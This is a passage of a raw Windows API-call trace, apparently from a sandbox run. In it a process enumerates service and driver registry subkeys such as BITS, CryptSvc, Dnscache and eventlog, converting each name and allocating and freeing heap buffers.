RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0213.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0213.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0213.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0213.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0213.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0213.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0213.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0213.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0213.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0213.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0213.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0213.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0213.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0213.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0213.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0213.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0213.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0213.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0213.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0213.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0213.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0213.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0213.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0213.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0213.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0213.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0213.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0213.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0213.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0213.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0213.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0213.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0213.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0213.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0213.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0213.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0213.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0213.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0213.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0213.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0213.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0213.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0213.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0213.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0213.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0213.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0213.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0213.077] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0213.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0213.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0213.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0213.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0213.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0213.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0213.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0213.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0213.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0213.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0213.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0213.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0213.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0213.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0213.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0213.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0213.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0213.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0213.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0213.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0213.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0213.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0213.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0213.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0213.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0213.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0213.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0213.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0213.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0213.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0213.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0213.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0213.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0213.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0213.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0213.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0213.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0213.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0213.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0213.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0213.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0213.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0213.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0213.080] 